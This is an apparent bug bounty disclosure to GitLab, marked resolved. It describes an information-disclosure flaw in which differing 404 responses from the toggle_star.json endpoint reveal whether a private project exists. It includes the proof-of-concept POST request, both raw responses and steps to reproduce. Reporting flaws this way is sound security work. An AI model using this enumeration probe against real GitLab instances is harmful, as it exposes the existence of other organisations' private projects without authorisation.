[information disclosure] Validate existence of a private project.
Low
G
GitLab
Submitted None
Team Summary
Official summary from GitLab
Note that at the time of disclosure, issues that allow only to validate the existence of a project without leaking any additional information about it aren't accepted anymore.
Actions:
Reported by
pandaonair
Vulnerability Details
Technical details and impact analysis
### Summary
In Gitlab, we have a feature of creating groups and setting their permissions to public/internal/private. While testing I discovered that a user can check existence of a project in a group of which he is not a part judging by the difference in types of error messages generated.
This request is generated at the `/toggle_star.json` endpoint which is sent when the user clicks on (*) (star) button on the UI.
{F506173}
For instance, Let's assume that their are 2 users here User A, and User B.
User A: Creates a group with `internal` privacy and deploys a project.
In this case let's assume that the group created by User A is `chocolatecake` at url https://gitlab.com/chocolatecake . The privacy settings of this group should be either internal/private.
This user creates a project named `Choco Brownie Sundae` with url https://gitlab.com/chocolatecake/choco-brownie-sundae.
Hence, we notice that a project with slug `choco-brownie-sundae` is created.
User B: Is a malicious user who wants to find out if the organization of ChocolateCake is working on some secret project so, he sends the following request and based on the difference in responses he can extrapolate some information.
```
POST /chocolatecake/choco-brownie-sundae/toggle_star.json HTTP/1.1
Host: gitlab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF-Token: REDACTED
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Cookie: REDACTED
Content-Length: 0
```
Response: **For Valid Project** (meaning that the project exists)
```
HTTP/1.1 404 Not Found
Server: nginx
Date: Mon, 10 Jun 2019 20:09:20 GMT
Content-Type: application/json
Content-Length: 0
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Request-Id: iKCIJhxyam
X-Runtime: 0.059894
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Content-Security-Policy: object-src 'none'; worker-src https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://gitlab.com blob:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.gstatic.com/recaptcha/ https://apis.google.com; style-src 'self' 'unsafe-inline' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net; img-src * blocked: blob:; frame-src 'self' https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com https://*.codesandbox.io; frame-ancestors 'self'; connect-src 'self' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net wss://gitlab.com https://sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net
```
Response: **For Invalid Project** (meaning that the project does not exists)
```
HTTP/1.1 404 Not Found
Server: nginx
Date: Mon, 10 Jun 2019 20:13:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3108
Connection: close
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
X-Request-Id: 6vFQwUWj4V
X-Runtime: 0.193010
Content-Security-Policy: object-src 'none'; worker-src https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://gitlab.com blob:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.gstatic.com/recaptcha/ https://apis.google.com; style-src 'self' 'unsafe-inline' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net; img-src * blocked: blob:; frame-src 'self' https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://content.googleapis.com https://content-compute.googleapis.com https://content-cloudbilling.googleapis.com https://content-cloudresourcemanager.googleapis.com https://*.codesandbox.io; frame-ancestors 'self'; connect-src 'self' https://assets.gitlab-static.net https://gl-canary.freetls.fastly.net wss://gitlab.com https://sentry.gitlab.net https://customers.gitlab.com https://snowplow.trx.gitlab.net
<!DOCTYPE html>
<html>
<head>
<meta content="width=device-width, initial-scale=1, maximum-scale=1" name="viewport">
<title>The page you're looking for could not be found (404)</title>
<style>
body {
color: #666;
text-align: center;
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
margin: auto;
font-size: 14px;
}
h1 {
font-size: 56px;
line-height: 100px;
font-weight: 400;
color: #456;
}
h2 {
font-size: 24px;
color: #666;
line-height: 1.5em;
}
h3 {
color: #456;
font-size: 20px;
font-weight: 400;
line-height: 28px;
}
hr {
max-width: 800px;
margin: 18px auto;
border: 0;
border-top: 1px solid #EEE;
border-bottom: 1px solid white;
}
img {
max-width: 40vw;
display: block;
margin: 40px auto;
}
a {
line-height: 100px;
font-weight: 400;
color: #4A8BEE;
font-size: 18px;
text-decoration: none;
}
.container {
margin: auto 20px;
}
.go-back {
display: none;
}
</style>
</head>
<body>
<a href="/">
<img src="blocked:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEwIiBoZWlnaHQ9IjIxMCIgdmlld0JveD0iMCAwIDIxMCAyMTAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgPHBhdGggZD0iTTEwNS4wNjE0IDIwMy42NTVsMzguNjQtMTE4LjkyMWgtNzcuMjhsMzguNjQgMTE4LjkyMXoiIGZpbGw9IiNlMjQzMjkiLz4KICA8cGF0aCBkPSJNMTA1LjA2MTQgMjAzLjY1NDhsLTM4LjY0LTExOC45MjFoLTU0LjE1M2w5Mi43OTMgMTE4LjkyMXoiIGZpbGw9IiNmYzZkMjYiLz4KICA8cGF0aCBkPSJNMTIuMjY4NSA4NC43MzQxbC0xMS43NDIgMzYuMTM5Yy0xLjA3MSAzLjI5Ni4xMDIgNi45MDcgMi45MDYgOC45NDRsMTAxLjYyOSA3My44MzgtOTIuNzkzLTExOC45MjF6IiBmaWxsPSIjZmNhMzI2Ii8+CiAgPHBhdGggZD0iTTEyLjI2ODUgODQuNzM0Mmg1NC4xNTNsLTIzLjI3My03MS42MjVjLTEuMTk3LTMuNjg2LTYuNDExLTMuNjg1LTcuNjA4IDBsLTIzLjI3MiA3MS42MjV6IiBmaWxsPSIjZTI0MzI5Ii8+CiAgPHBhdGggZD0iTTEwNS4wNjE0IDIwMy42NTQ4bDM4LjY0LTExOC45MjFoNTQuMTUzbC05Mi43OTMgMTE4LjkyMXoiIGZpbGw9IiNmYzZkMjYiLz4KICA8cGF0aCBkPSJNMTk3Ljg1NDQgODQuNzM0MWwxMS43NDIgMzYuMTM5YzEuMDcxIDMuMjk2LS4xMDIgNi45MDctMi45MDYgOC45NDRsLTEwMS42MjkgNzMuODM4IDkyLjc5My0xMTguOTIxeiIgZmlsbD0iI2ZjYTMyNiIvPgogIDxwYXRoIGQ9Ik0xOTcuODU0NCA4NC43MzQyaC01NC4xNTNsMjMuMjczLTcxLjYyNWMxLjE5Ny0zLjY4NiA2LjQxMS0zLjY4NSA3LjYwOCAwbDIzLjI3MiA3MS42MjV6IiBmaWxsPSIjZTI0MzI5Ii8+Cjwvc3ZnPgo="
alt="GitLab Logo" />
</a>
<h1>
404
</h1>
<div class="container">
<h3>The page could not be found or you don't have permission to view it.</h3>
<hr />
<p>The resource that you are attempting to access does not exist or you don't have the necessary permissions to view it.</p>
<p>Make sure the address is correct and that the page hasn't moved.</p>
<p>Please contact your GitLab administrator if you think this is a mistake.</p>
<a href="blocked:history.back()" class="js-go-back go-back">Go back</a>
</div>
<script>
(function () {
var goBack = document.querySelector('.js-go-back');
if (history.length > 1) {
goBack.style.display = 'inline';
}
})();
</script>
</body>
</html>
```
As it can be seen, there is a difference in both the responses that allow an attacker to exfiterate information about private/internal project.
Since, this works for both internal/private project, the severity for private projects with internal groups is relatively higher as the group name is already know to the attacker.
### Steps to reproduce
1. Create a project from User A's account with private/internal privacy.
2. Go to user B' account and send the above mentioned request.
3. Based on the difference in responses, a user will be able to exfiltrate information about existance of a project.
### Impact
Information disclosure about existence of projects will lead to privacy breach.
### What is the current *bug* behavior?
Project does not exists response:
████████
Project exists response:
██████████
### What is the expected *correct* behavior?
There should not be any difference in both the responses
### Output of checks
This bug happens on GitLab.com
## Impact
As mentioned above,
Let me know, if you need more info,
Thanks,
-Milind
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Information Disclosure